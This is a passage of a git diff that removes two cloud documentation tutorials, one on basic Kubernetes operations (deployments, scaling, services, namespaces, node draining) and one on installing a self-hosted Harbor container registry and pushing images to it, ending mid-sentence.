[Pod](https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/) is a group of one or more tightly coupled containers that share resources such as storage and network. Containers inside a Pod are started, stopped, and replicated as a group. - -![Kubernetes Cluster](kubernetes-cluster.png) - -### Create a Deployment - -[Deployments](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) are high-level objects that can manage Pod creation and allow the use of features such as declarative scaling and rolling-upgrade. - -1. In a text editor, create `nginx.yaml` and add the following content: - - ```file {title="~/nginx.yaml" lang=yaml} - apiVersion: apps/v1 - kind: Deployment - metadata: - name: nginx-server - labels: - app: nginx - spec: - replicas: 1 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:1.13-alpine - ports: - - containerPort: 80 - ``` - - The file contains all the necessary information to specify a deployment, including the Docker image to use, number of replicas, and the container port. For more information about deployment configuration, see the [documentation.](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#creating-a-deployment) - -1. Create your first deployment: - - ```command - kubectl create -f nginx.yaml --record - ``` - -1. List your deployments: - - ```command - kubectl get deployments - ``` - - ```output - NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE - nginx-server 1 1 1 1 13s - ``` - -1. Check that your Pod is present: - - ```command - kubectl get pods - ``` - - ```output - NAME READY STATUS RESTARTS AGE - nginx-server-b9bc6c6b5-d2gqv 1/1 Running 0 58s - ``` - -1. To see which node the deployment was created on, add the `-o wide` flag: - - ```command - kubectl get pods -o wide - ``` - - ```output - NAME READY STATUS RESTARTS AGE IP NODE - nginx-server-b9bc6c6b5-d2gqv 1/1 Running 0 1m 192.168.255.197 kube-worker-02 - ``` - -### Scale Deployments - -Kubernetes makes it easy to scale deployments to add or remove replicas. - -1. Increase the number of replicas to 8: - - ```command - kubectl scale deployment nginx-server --replicas=8 - ``` - -1. Check the availability of your new replicas: - - ```command - kubectl get pods -o wide - ``` - - ```output - NAME READY STATUS RESTARTS AGE IP NODE - nginx-server-b9bc6c6b5-4mdf6 1/1 Running 0 41s 192.168.180.10 kube-worker-1 - nginx-server-b9bc6c6b5-8mvrd 1/1 Running 0 3m 192.168.180.9 kube-worker-1 - nginx-server-b9bc6c6b5-b99pt 1/1 Running 0 40s 192.168.180.12 kube-worker-1 - nginx-server-b9bc6c6b5-fjg2c 1/1 Running 0 40s 192.168.127.12 kube-worker-2 - nginx-server-b9bc6c6b5-kgdq5 1/1 Running 0 41s 192.168.127.11 kube-worker-2 - nginx-server-b9bc6c6b5-mhb7s 1/1 Running 0 40s 192.168.180.11 kube-worker-1 - nginx-server-b9bc6c6b5-rlf9w 1/1 Running 0 41s 192.168.127.10 kube-worker-2 - nginx-server-b9bc6c6b5-scwgj 1/1 Running 0 40s 192.168.127.13 kube-worker-2 - ``` - -1. The same command can be used to decrease the number of replicas: - - ```command - kubectl scale deployment nginx-server --replicas=3 - ``` - -### Rolling Upgrades - -Managing Pods with a Deployment allows you to make use of **rolling upgrades**. A rolling upgrade is a mechanism that allows you to update your application version without any downtime. Kubernetes ensures that at least 25% of your Pods are available at all times and creates new Pods before deleting the old ones. - -1. Upgrade your containers' NGINX version from 1.13 to 1.13.8: - - ```command - kubectl set image deployment/nginx-server nginx=nginx:1.13.8-alpine - ``` - - Similar to the scaling process, the `set` command uses declarative approach: you specify the desired state and the controller manages all necessary tasks to accomplish that goal. - -1. Check the update status: - - ```command - kubectl rollout status deployment/nginx-server - ``` - - ```output - Waiting for rollout to finish: 1 out of 3 new replicas have been updated... - Waiting for rollout to finish: 1 out of 3 new replicas have been updated... - Waiting for rollout to finish: 1 out of 3 new replicas have been updated... - Waiting for rollout to finish: 2 out of 3 new replicas have been updated... - Waiting for rollout to finish: 2 out of 3 new replicas have been updated... - Waiting for rollout to finish: 2 out of 3 new replicas have been updated... - Waiting for rollout to finish: 1 old replicas are pending termination... - Waiting for rollout to finish: 1 old replicas are pending termination... - deployment "nginx-server" successfully rolled out - ``` - -1. You can manually check the application version with the `describe` command: - - ```command - kubectl describe pod - ``` - -1. In the event of an error, the rollout will hang and you will be forced to cancel by pressing **CTRL+C**. Test this by setting an invalid NGINX version: - - ```command - kubectl set image deployment/nginx-server nginx=nginx:1.18. - ``` - -1. Check your current Pods: - - ```command - kubectl get pods -o wide - ``` - - ```output - NAME READY STATUS RESTARTS AGE IP NODE - nginx-server-76976d4555-7nv6z 1/1 Running 0 3m 192.168.127.15 kube-worker-2 - nginx-server-76976d4555-wg785 1/1 Running 0 3m 192.168.180.13 kube-worker-1 - nginx-server-76976d4555-ws4vf 1/1 Running 0 3m 192.168.127.14 kube-worker-2 - nginx-server-7ddd985dd6-mpn9h 0/1 ImagePullBackOff 0 2m 192.168.180.16 kube-worker-1 - ``` - - The Pod `nginx-server-7ddd985dd6-mpn9h` is trying to upgrade to an nonexistent version of NGINX. - -1. Get more details about the error by inspecting this Pod: - - ```command - kubectl describe pod nginx-server-7ddd985dd6-mpn9h - ``` - -1. Since you used the `--record` flag when creating the deployment, you can retrieve the complete revision history: - - ```command - kubectl rollout history deployment/nginx-server - ``` - - ```output - REVISION CHANGE-CAUSE - 1 kubectl scale deployment nginx-server --replicas=3 - 2 kubectl set image deployment/nginx-server nginx=nginx:1.13.8-alpine - 3 kubectl set image deployment/nginx-server nginx=nginx:1.18 - ``` - -1. You can then roll back to an earlier, working revision. To revert to the previous revision, use the `undo` command: - - ```command - kubectl rollout undo deployment/nginx-server - ``` - -1. To roll back to a specific revision, specify the target revision with the `--to-revision` option: - - ```command - kubectl rollout undo deployment/nginx-server --to-revision=1 - ``` - -## Kubernetes Services - -You now have a deployment running three Pods of an NGINX application. In order to expose the Pods to the internet, you need to create a **service**. In Kubernetes a service is an abstraction that allows Pods to be accessible at all times. Services automatically handle IP changes, updates, and scaling, so once the service is enabled your application will be available as long as a running Pod remains active. - -1. Configure a test service: - - ```file {title="~/nginx-service.yaml" lang=yaml} - apiVersion: v1 - kind: Service - metadata: - name: nginx-service - labels: - run: nginx - spec: - type: NodePort - ports: - - port: 80 - targetPort: 80 - protocol: TCP - name: http - selector: - app: nginx - ``` - -1. Create the service: - - ```command - kubectl create -f nginx-service.yaml - ``` - -1. Check the status of the new service: - - ```command - kubectl get services - ``` - - ```output - NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE - kubernetes ClusterIP 10.96.0.1 443/TCP 2d - nginx-service NodePort 10.97.41.31 80:31738/TCP 38m - ``` - - The service is running and accepting connections on port 31738. - -1. Test the service: - - ```command - curl : - ``` - -1. View additional information about this service with the `describe` command: - - ```command - kubectl describe service nginx-service - ``` - - ```output - Name: nginx-service - Namespace: default - Labels: run=nginx - Annotations: - Selector: app=nginx - Type: NodePort - IP: 10.97.41.31 - Port: http 80/TCP - TargetPort: 80/TCP - NodePort: http 31738/TCP - Endpoints: 192.168.127.14:80,192.168.127.15:80,192.168.180.13:80 - Session Affinity: None - External Traffic Policy: Cluster - Events: - ``` - -## Kubernetes Namespaces - -Namespaces are logical environments that offer the flexibility to divide Cluster resources between multiple teams or users. - -1. List the available namespaces: - - ```command - kubectl get namespaces - ``` - - ```output - default Active 7h - kube-public Active 7h - kube-system Active 7h - ``` - - As the name implies, the `default` namespace is where your deployments will be placed if no other namespace is specified. `kube-system` is reserved for objects created by Kubernetes and `kube-public` is available for all users. Namespaces can be created from a `.json` file or directly from the command line. - -1. Create a new file named `dev-namespace.json` for the **Development** environment: - - ```file {title="~/home/dev-namespace.json" lang=json} - { - "kind": "Namespace", - "apiVersion": "v1", - "metadata": { - "name": "development", - "labels": { - "name": "development" - } - } - } - ``` - -1. Create the namespace in your cluster: - - ```command - kubectl create -f dev-namespace.json - ``` - -1. List the namespaces again: - - ```command - kubectl get namespaces - ``` - -### Contexts - -In order to use your namespaces you need to define the **context** where you want to employ them. Kubernetes contexts are saved in the `kubectl` configuration. - -1. View your current configuration: - - ```command - kubectl config view - ``` - -1. Check in what context you are working on: - - ```command - kubectl config current-context - ``` - -1. Add the `dev` context using the command: - - ```command - kubectl config set-context dev --namespace=development \ - --cluster=kubernetes \ - --user=kubernetes-admin - ``` - -1. Switch to the `dev` context/namespace: - - ```command - kubectl config use-context dev - ``` - -1. Verify the change: - - ```command - kubectl config current-context - ``` - -1. Review your new configuration: - - ```command - kubectl config view - ``` - -1. Pods within a namespace are not visible to other namespaces. Check this by listing your Pods: - - ```command - kubectl get pods - ``` - - The message "No resources found" appears because you have no Pods or deployments created in this namespace. You still can view these objects with the `--all-namespaces` flag: - - ```command - kubectl get services --all-namespaces - ``` - -### Labels - -Any object in Kubernetes can have a label attached to it. Labels are key value pairs that make it easier to organize, filter, and select objects based on common characteristics. - -1. Create a test deployment for this namespace. This deployment will include the `nginx` label: - - ```file {title="~/my-app.yaml" lang=yaml} - apiVersion: apps/v1 - kind: Deployment - metadata: - name: my-app - labels: - app: my-app - spec: - replicas: 4 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:1.12-alpine - ports: - - containerPort: 80 - ``` - -1. Create the deployment: - - ```command - kubectl create -f my-app.yaml --record - ``` - -1. If you need to find a particular Pod within your cluster, rather than listing all of the Pods it is usually more efficient to search by label with the `-l` option: - - ```command - kubectl get pods --all-namespaces -l app=nginx - ``` - - Only the Pods in the `default` and `development` namespace are listed because they have the label `nginx` included in their definition. - -## Kubernetes Nodes - -A node may be a physical machine or a virtual machine. In this guide each Linode is a node. Think of nodes as the uppermost level in the Kubernetes abstraction model. - -1. List your current nodes: - - ```command - kubectl get nodes - ``` - - ```output - NAME STATUS ROLES AGE VERSION - kube-master Ready master 21h v1.9.2 - kube-worker-1 Ready 19h v1.9.2 - kube-worker-2 Ready 17h v1.9.2 - ``` - -1. For more detail, add the `-o` flag: - - ```command - kubectl get nodes -o wide - ``` - -1. The information displayed is mostly self-explanatory and useful for checking that all nodes are ready. You can also use the `describe` command for more detailed information about a specific node: - - ```command - kubectl describe node kube-worker-1 - ``` - -### Node Maintenance - -Kubernetes offers a very straightforward solution for taking nodes offline safely. - -1. Return to the default namespace where you have a running service for NGINX: - - ```command - kubectl config use-context kubernetes-admin@kubernetes - ``` - -1. Check your Pods: - - ```command - kubectl get pods -o wide - ``` - -1. Prevent new Pods creation on the node `kube-worker-2`: - - ```command - kubectl cordon kube-worker-2 - ``` - -1. Check the status of your nodes: - - ```command - kubectl get nodes - ``` - - ```output - NAME STATUS ROLES AGE VERSION - kube-master Ready master 4h v1.9.2 - kube-worker-1 Ready 4h v1.9.2 - kube-worker-2 Ready,SchedulingDisabled 4h v1.9.2 - ``` - -1. To test the Kubernetes controller and scheduler, scale up your deployment: - - ```command - kubectl scale deployment nginx-server --replicas=10 - ``` - -1. List your Pods again: - - ```command - kubectl get pods -o wide - ``` - - ```output - NAME READY STATUS RESTARTS AGE IP NODE - nginx-server-b9bc6c6b5-2pnbk 1/1 Running 0 11s 192.168.188.146 kube-worker-1 - nginx-server-b9bc6c6b5-4cls5 1/1 Running 0 11s 192.168.188.148 kube-worker-1 - nginx-server-b9bc6c6b5-7nw5m 1/1 Running 0 3d 192.168.255.220 kube-worker-2 - nginx-server-b9bc6c6b5-7s7w5 1/1 Running 0 44s 192.168.188.143 kube-worker-1 - nginx-server-b9bc6c6b5-88dvp 1/1 Running 0 11s 192.168.188.145 kube-worker-1 - nginx-server-b9bc6c6b5-95jgr 1/1 Running 0 3d 192.168.255.221 kube-worker-2 - nginx-server-b9bc6c6b5-md4qd 1/1 Running 0 3d 192.168.188.139 kube-worker-1 - nginx-server-b9bc6c6b5-r5krq 1/1 Running 0 11s 192.168.188.144 kube-worker-1 - nginx-server-b9bc6c6b5-r5nd6 1/1 Running 0 44s 192.168.188.142 kube-worker-1 - nginx-server-b9bc6c6b5-ztgmr 1/1 Running 0 11s 192.168.188.147 kube-worker-1 - ``` - - There are ten Pods in total but new Pods were created only in the first node. - -1. Tell `kube-worker-2` to drain its running Pods: - - ```command - kubectl drain kube-worker-2 --ignore-daemonsets - ``` - - ```output - node "kube-worker-2" already cordoned - WARNING: Ignoring DaemonSet-managed pods: calico-node-9mgc6, kube-proxy-2v8rw - pod "my-app-68845b9f68-wcqsb" evicted - pod "nginx-server-b9bc6c6b5-7nw5m" evicted - pod "nginx-server-b9bc6c6b5-95jgr" evicted - pod "my-app-68845b9f68-n5kpt" evicted - node "kube-worker-2" drained - ``` - -1. Check the effect of this command on your Pods: - - ```command - kubectl get pods -o wide - ``` - - ```output - NAME READY STATUS RESTARTS AGE IP NODE - nginx-server-b9bc6c6b5-2pnbk 1/1 Running 0 9m 192.168.188.146 kube-worker-1 - nginx-server-b9bc6c6b5-4cls5 1/1 Running 0 9m 192.168.188.148 kube-worker-1 - nginx-server-b9bc6c6b5-6zbv6 1/1 Running 0 3m 192.168.188.152 kube-worker-1 - nginx-server-b9bc6c6b5-7s7w5 1/1 Running 0 9m 192.168.188.143 kube-worker-1 - nginx-server-b9bc6c6b5-88dvp 1/1 Running 0 9m 192.168.188.145 kube-worker-1 - nginx-server-b9bc6c6b5-c2c5c 1/1 Running 0 3m 192.168.188.150 kube-worker-1 - nginx-server-b9bc6c6b5-md4qd 1/1 Running 0 3d 192.168.188.139 kube-worker-1 - nginx-server-b9bc6c6b5-r5krq 1/1 Running 0 9m 192.168.188.144 kube-worker-1 - nginx-server-b9bc6c6b5-r5nd6 1/1 Running 0 9m 192.168.188.142 kube-worker-1 - nginx-server-b9bc6c6b5-ztgmr 1/1 Running 0 9m 192.168.188.147 kube-worker-1 - ``` - -1. You are ready now to safely shut down your Linode without interrupting service. - -1. Once you finish your maintenance, tell the controller that this node is available for scheduling again: - - ```command - kubectl uncordon kube-worker-2 - ``` \ No newline at end of file diff --git a/docs/guides/kubernetes/setting-up-harbor-registry-with-lke/index.md b/docs/guides/kubernetes/setting-up-harbor-registry-with-lke/index.md deleted file mode 100644 index d5935b5ea10..00000000000 --- a/docs/guides/kubernetes/setting-up-harbor-registry-with-lke/index.md +++ /dev/null @@ -1,513 +0,0 @@ ---- -slug: setting-up-harbor-registry-with-lke -title: "Set Up a Self-Hosted Harbor Registry and Deploy Images to Kubernetes" -title_meta: "Install Harbor Registry and Deploy Images to Kubernetes" -description: "Learn the benefits of Harbor vs Docker Hub, how to install the Harbor registry software in the cloud, and how to connect a Kubernetes cluster to the registry." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2023-06-13 -keywords: ['what is harbor registry','install harbor kubernetes','harbor vs docker registry'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Harbor Docs: Harbor Installation and Configuration](https://goharbor.io/docs/2.7.0/install-config/)' -- '[Kubernetes: Pull an Image from a Private Registry](https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/)' ---- - -Harbor is an open-source and self-hosted registry for container images. With Harbor, you can securely store and access your own collection of Docker images without resorting to an external service, like Docker Hub. Harbor's security and compliance features ensure your registry has the level of control that you need. - -## In this Guide - -This guide shows how to set up a Harbor registry on a dedicated compute instance in the cloud. It also shows how to create an LKE cluster that authenticates with the registry and pulls images from it. - -- The [What is Harbor](#what-is-harbor) section provides more information about the Harbor service and how it compares to other registries, like Docker Hub. - -- The [How to Set Up Harbor](#how-to-set-up-harbor) section details how to install and configure Harbor. - -- The [How to Start Working with Harbor](#how-to-start-working-with-harbor) section shows how to access the Harbor dashboard and how to add images to the registry. - -- The [How to Use the Harbor Registry with LKE](#how-to-use-the-harbor-registry-with-lke) section shows how to connect a Kubernetes cluster to the registry. - -## Before You Begin - -The Harbor installation in this guide assumes that you have [a domain name registered through a domain registrar](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager#register-the-domain), and that you can edit the DNS records for this domain. This is so that SSL connections can be configured for the Harbor server. If you do not have a domain name, register one now. - -The infrastructure for this guide is created on the Akamai Cloud platform. If you do not already have one, [create an account](https://techdocs.akamai.com/cloud-computing/docs/getting-started) for the platform. - -The following is a summary of the infrastructure created in this guide. Instructions for creating these services are included later in the guide: - -- A compute instance that runs the Harbor server software - -- An LKE cluster with 3 nodes, used to demonstrate pulling an image from the Harbor server. - -If you would like to remove these services after you finish following the guide, review our [Stop Further Billing](https://techdocs.akamai.com/cloud-computing/docs/stop-further-billing) guide. For more information on how billing for services works, review the [Billing Overview](https://techdocs.akamai.com/cloud-computing/docs/understanding-how-billing-works). - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What is Harbor? - -[Harbor](https://goharbor.io/) offers an open-source solution for self-hosting a container image registry. It is a project within the Cloud Native Computing Foundation (CNCF). Harbor puts security and compliance at the center of its design, with features like access policies and roles, vulnerability scanning, and image signing. - -With minimal configuration, Harbor integrates with tools like the Docker command-line interface (CLI) and kubectl. From the Docker CLI, you can log in to your Harbor registry to securely push and pull images. Kubernetes tools can likewise securely authenticate with your Harbor registry and allow you to deploy containers directly from images stored in the registry. - -### Harbor vs Docker Hub: Why Use Harbor? - -The most significant distinction between Harbor and Docker Hub is that Harbor can be self-hosted. By self-hosting Harbor, you gain a degree of control over things like compliance and access that you lack with a service like Docker Hub and other external cloud-hosted solutions. - -Harbor also comes with a suite of features that can enhance security and compliance. These features come with fine-grained controls for you to configure your registry. - -To help decide which registry to use, consider these trade-offs: - -- Docker Hub provides an accessible registry with plenty of existing images to leverage. However, you lose a degree of control over the data and you do not get the same robust security and compliance features. - -- Harbor centers on securing your images, with a suite of features to control access and roles and to mitigate vulnerabilities. Because it is self-hosted, Harbor has an initial setup and requires on-going system administration and maintenance. - -## How to Set Up Harbor - -To get started, you need to prepare a system to run the Harbor server software. The process involves installing and configuring some prerequisites and then installing Harbor itself. - -The server is your Harbor access point. It gives you an administrative interface for your Harbor instance as well as a host for your Harbor registry. Your Docker and Kubernetes tools can then connect to your Harbor registry to pull container images. - -### Configure DNS Records - -This tutorial requires you to have a domain for your Harbor server. Doing so allows you to use Let's Encrypt for SSL certification. For example code and commands, the tutorial uses `harbor.example.com` as the domain name. - -In your DNS manager for your own domain, create an [A record](/cloud/guides/dns-overview/#a-and-aaaa) named `harbor`: - -- If you use the Linode DNS Manager, follow our [Manage DNS Records](https://techdocs.akamai.com/cloud-computing/docs/manage-dns-records) guide to create the new a record. - -- If you use another DNS manager, follow their instructions for creating the A record. - -{{< note >}} -If you use another DNS manager but would like to start using the Linode DNS Manager, refer to these guides: - - - [DNS Manager - Get Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager) - - [Configure Your Domain's Authoritative Name Servers](https://techdocs.akamai.com/cloud-computing/docs/configure-your-domains-authoritative-name-servers) - - [Incoming DNS Zone Transfers](https://techdocs.akamai.com/cloud-computing/docs/incoming-dns-zone-transfers) -{{< /note >}} - -### Provision a Compute Instance - -For this tutorial, the Harbor server is run on a compute instance. Follow these instructions to create the instance: - -1. Follow the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide to create the instance. Instructions for installing Harbor on Debian, Ubuntu, CentOS, and Fedora are included in this guide. - - Images stored with the registry are kept in the compute instance's included [persistent storage](https://techdocs.akamai.com/cloud-computing/docs/manage-disks-on-a-compute-instance#understanding-storage). Different instance plans have different amounts of included storage. You should pick a plan whose storage can accommodate the total size of the images you want to store. Review the [pricing page](/pricing/) to determine which plan has enough storage for you. If you intend to use this server for testing and learning, a plan with minimal specs is adequate. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system,create a limited user account, and harden SSH access. You may also wish to set the timezone and configure your hostname. - -### Install Docker and Docker Compose - -Docker and the Docker Compose plugin are required for running Harbor: - -1. Refer to the [official instructions](https://docs.docker.com/engine/install/#server) and install Docker Engine and the Docker Compose plugin for your compute instance's operating system. - -1. Ensure that the Docker daemon is running: - - ```command {title="Harbor compute instance"} - sudo systemctl status docker - ``` - - ```output - ● docker.service - Docker Application Container Engine - Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled) - Active: active (running) since Thu 2023-02-16 20:38:07 UTC; 1s ago - Docs: https://docs.docker.com - ``` - -1. If it is not running (`active`), enable and start the Docker daemon with these commands. - - ```command {title="Harbor compute instance"} - sudo systemctl enable docker - sudo systemctl start docker - ``` - -### Configure the Firewall - -To allow connections to your Harbor server, your firewall needs to have the HTTP port (**80**) and HTTPS port (**443**) open. The steps below provide commands to open the HTTP and HTTPS ports on several major Linux distributions. These use the default firewall managers for each of the named distributions. - -{{< tabs >}} -{{< tab "Debian and Ubuntu" >}} -Use UFW to open the necessary ports: - -```command {title="Harbor compute instance"} -sudo ufw allow http -sudo ufw allow https -sudo ufw allow ssh -sudo ufw reload -``` - -Make sure UFW is enabled and running: - -```command {title="Harbor compute instance"} -sudo systemctl start ufw -sudo systemctl enable ufw -sudo ufw enable -``` -{{< /tab >}} -{{< tab "CentOS and Fedora" >}} -Use firewalld to open the necessary ports: - -```command {title="Harbor compute instance"} -sudo firewall-cmd --zone=public --add-service=http --permanent -sudo firewall-cmd --zone=public --add-service=https --permanent -sudo firewall-cmd --zone=public --add-service=ssh --permanent -sudo firewall-cmd --set-default-zone=public -sudo firewall-cmd --reload -``` - -Make sure firewalld is enabled and running: - -```command {title="Harbor compute instance"} -sudo systemctl start firewalld -sudo systemctl enable firewalld -``` -{{< /tab >}} -{{< /tabs >}} - -### Set Up SSL - -Using SSL lets you secure traffic to and from your Harbor server. You can create self-signed certificates, but typically it is more convenient to use a certificate authority like [Let's Encrypt](https://letsencrypt.org). - -[Certbot](https://certbot.eff.org) is a tool that provides an interface for requesting and downloading certificates from Let's Encrypt. This tutorial uses Certbot to set up an SSL certificate: - -1. To install Certbot, follow one of our [Certbot for NGINX guides](/cloud/guides/enabling-https-using-certbot/#nginx). For this tutorial, follow just the **Installing Snapd** and **Installing Certbot** sections. *Do not* follow that guide's steps for requesting a certificate. - -1. Use Certbot to request a certificate for your domain (given after the `-d` option), using the [standalone verification](https://eff-certbot.readthedocs.io/en/stable/using.html#standalone) option. Replace the domain in this command with your Harbor server's domain: - - ```command {title="Harbor compute instance"} - sudo certbot certonly --standalone -d harbor.example.com - ``` - -1. Once the process has finished, Certbot should output the location of your certificate and key files, as shown here. These locations need to be specified in the Harbor configuration file later in this guide, so copy them into your notes now. - - ```output - [...] - Successfully received certificate. - Certificate is saved at: /etc/letsencrypt/live/harbor.example.com/fullchain.pem - Key is saved at: /etc/letsencrypt/live/harbor.example.com/privkey.pem - [...] - ``` - -### Install Harbor - -1. Download the package with the latest Harbor installer from the Harbor [releases page](https://github.com/goharbor/harbor/releases/latest). You can choose either the online or offline installer. - - The command below streamlines this step. It grabs the download link for the latest offline installer package and downloads it as `harbor-offline-installer.tgz`. - - ```command {title="Harbor compute instance"} - curl -s https://api.github.com/repos/goharbor/harbor/releases/latest \ - | grep "browser_download_url.*harbor-offline-installer.*.tgz\"" \ - | tail -n 1 \ - | cut -d : -f 2,3 \ - | tr -d \" \ - | wget -O harbor-offline-installer.tgz -qi - - ``` - - Be sure to do this in a directory where you want to keep the Harbor installer's own subdirectory. You should retain the Harbor installer even after installation, as it includes scripts for making configuration changes later. - -1. Extract the installer package, which places the installer contents within a `harbor/` subdirectory of the current directory. You may first need to install the `tar` tool, which you should be able to get through your system's package manager. - - ```command {title="Harbor compute instance"} - tar xzvf harbor-offline-installer.tgz - ``` - -1. Navigate into the new `harbor/` directory and make a copy of the included configuration file template, named `harbor.yml`. This copy serves as your Harbor instance configuration. - - ```command {title="Harbor compute instance"} - cd harbor - cp harbor.yml.tmpl harbor.yml - ``` - -1. Open the `harbor.yml` file in a text editor. Begin adjusting the configuration to fit your needs. - - Several of the required parameters can retain their default values, like the `http` parameter. The following are required parameters that you should make initial adjustments to: - - - `hostname`: Set this to your Harbor server's domain (e.g. `harbor.example.com`). - - - `https`: Modify the `certificate` and `private_key` sub-parameters to point to the locations of your SSL certificate and key files. These were provided by Certbot in the [Set Up SSL](#set-up-ssl) section. - - Using the example output in the previous section, the parameters would look like the following: - - ```file {title="harbor.yml" lang="yml"} - # [...] - https: - port: 443 - certificate: /etc/letsencrypt/live/harbor.example.com/fullchain.pem - private_key: /etc/letsencrypt/live/harbor.example.com/privkey.pem - # [...] - ``` - - As well, adjust the following passwords in the configuration file. If these are not changed, your Harbor instance is more vulnerable to attacks: - - - `harbor_admin_password`: Replace with an initial password for the administrator user. This password is reset again in the next section after first logging in, but changing the default here mitigates attacks between when you install the server and when you log in. - - - `database`: Replace the `password` sub-parameter with a more secure password for Harbor's PostgreSQL database. - -1. With your configuration changes in place, run the installation script: - - ```command {title="Harbor compute instance"} - sudo ./install.sh - ``` - - You should be able to follow along with the progress as Harbor installs. At the end the script notifies you that the installation has completed successfully: - - ```output - ✔ ----Harbor has been installed and started successfully.---- - ``` - -## How to Start Working with Harbor - -Once the installation has finished, Harbor begins running and is ready to use. The next sections show how to access your Harbor server and how to populate the registry with a custom Docker image. - -### Access Harbor - -Harbor's dashboard is exposed at the domain you configured above. For this tutorial, that means navigating to `https://harbor.example.com` to access the Harbor login page. - -[![The Harbor login page](harbor-login_small.png)](harbor-login.png) - -Enter the username `admin`, and the administrator password from the `harbor.yml` file from the previous section. - -Logging in takes you to the Harbor dashboard, where you can see details of your Harbor instance and begin managing its settings. Be sure to take a look around and familiarize yourself with all of the options available. - -[![The Harbor dashboard](harbor-dashboard_small.png)](harbor-dashboard.png) - -You should change your administrator password after you first log in: - -1. Select the **admin** option from the upper right - -1. Select the **Change Password** from the dropdown menu - -### Add Images to Harbor - -From the Harbor dashboard, you can see all of your Harbor resources. To get the most out of Harbor, you should populate the registry with container images. These images then appear within the dashboard and are accessible directly from your Harbor registry's address. - -Harbor organizes images into projects, so you should first either create a project to your liking or modify the default `library` project. You can do all of this from the **Projects** option on the left menu. - -The examples in this tutorial use the default project (`library`) but change the project's accessibility from public to private: - -1. Select **Projects** from the left menu. - -1. Select **library** from the list of projects. - -1. Select the **Configuration** tab. - -1. Uncheck the **Public** option. - -1. Click the **Save** button. - -The next sections show how to create your own Docker image and push it to your Harbor registry. - -#### Create a Docker Image - -To begin, you need a Docker image. This tutorial creates a simple image that includes NGINX and a basic website. Later in the tutorial, you can see this website fully deployed from Harbor to your LKE cluster. - -The following instructions can be run from your local workstation. They require that you have Docker installed on your workstation. If you do not have Docker installed locally, review the [official instructions](https://docs.docker.com/engine/install/) for installing it. - -1. Make a directory to store the image configuration file and its resources, and navigate into that directory. - - ```command {title="Your workstation"} - mkdir ~/example-nginx-image - cd ~/example-nginx-image - ``` - -1. Add an `nginx-default.conf` file there with the contents shown here. These define a minimal NGINX static server. - - ```file {title="nginx-default.conf" lang="conf"} - server { - listen 80; - listen [::]:80; - server_name localhost; - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -1. Make an `html/` subdirectory where the static site content can be stored. - - ```command {title="Your workstation"} - mkdir html - ``` - -1. Add an `index.html` file into the `html/` directory with the file the contents shown here. - - ```file {title="html/index.html" lang="html"} - - - - - Example Nginx Website - - -

An Example Nginx Website

-

Welcome to your own Nginx website!

- - - ``` - -1. Add a `Dockerfile` to the image directory with the file the contents shown here. This file defines your Docker image. - - ```file {title="Dockerfile" lang="docker"} - FROM nginx:latest - RUN rm /etc/nginx/conf.d/default.conf - COPY nginx-default.conf /etc/nginx/conf.d/default.conf - COPY html /usr/share/nginx/html - ``` - -1. Use the Docker `build` command to build an image from the Dockerfile. This example gives the image the name `example-nginx-image`. - - ```command {title="Your workstation"} - sudo docker build -t example-nginx-image . - ``` - -1. You can now verify that the image has been successfully created by listing your Docker images: - - ```command {title="Your workstation"} - sudo docker images - ``` - - ```output - REPOSITORY TAG IMAGE ID CREATED SIZE - example-nginx-image latest 123658fe84af 5 seconds ago 142MB - ``` - -{{< note >}} -You can learn more about building Docker images through our guide on [How to Use a Dockerfile to Build a Docker Image](/cloud/guides/how-to-use-dockerfiles/). -{{< /note >}} - -#### Push an Image to Harbor - -With a Docker image built and ready, you can use the Docker CLI to push that image to your Harbor registry: - -1. Because the Harbor project is private, you need to log in to the registry from the Docker CLI: - - ```command {title="Your workstation"} - sudo docker login harbor.example.com - ``` - - This prompts you for a username and password. Use the `admin` credentials used to log in to the Harbor interface (use the new password you set after logging in for the first time). - -1. Add a tag to your Docker image. In the example below, the image is tagged with a version number `1.0.0`. Notice that the image is tagged for the `library` project within the Harbor registry. - - In this command, replace `harbor.example.com` with your Harbor server's domain. - - ```command {title="Your workstation"} - sudo docker tag example-nginx-image harbor.example.com/library/example-nginx-image:1.0.0 - ``` - -1. Push the Docker image up to your Harbor registry. In this command, replace `harbor.example.com` with your Harbor server's domain. - - ```command {title="Your workstation"} - sudo docker push harbor.example.com/library/example-nginx-image:1.0.0 - ``` - - ```output - The push refers to repository [harbor.example.com/library/example-nginx-image] - [...] - 1.0.0: digest: sha256:f37ae9e729f7c3a0d5f8e84e8dcfc019093ac76b48e885568c8c5b6b163d5b43 size: 2191 - ``` - -You can go to the Harbor dashboard in your browser to see the results. Navigate to the **Projects** page using the menu on the left, and select the **library** project from the listing. You should see your image listed. - -[![An image shown in the Harbor registry dashboard](harbor-project_small.png)](harbor-project.png) - -## How to Use the Harbor Registry with LKE - -Harbor can act as the image registry for a Kubernetes cluster. The steps in this section show how to deploy the example Docker image in the previous section from your Harbor registry to your LKE cluster. - -1. Provision an LKE cluster. Follow our [Linode Kubernetes Engine - Get 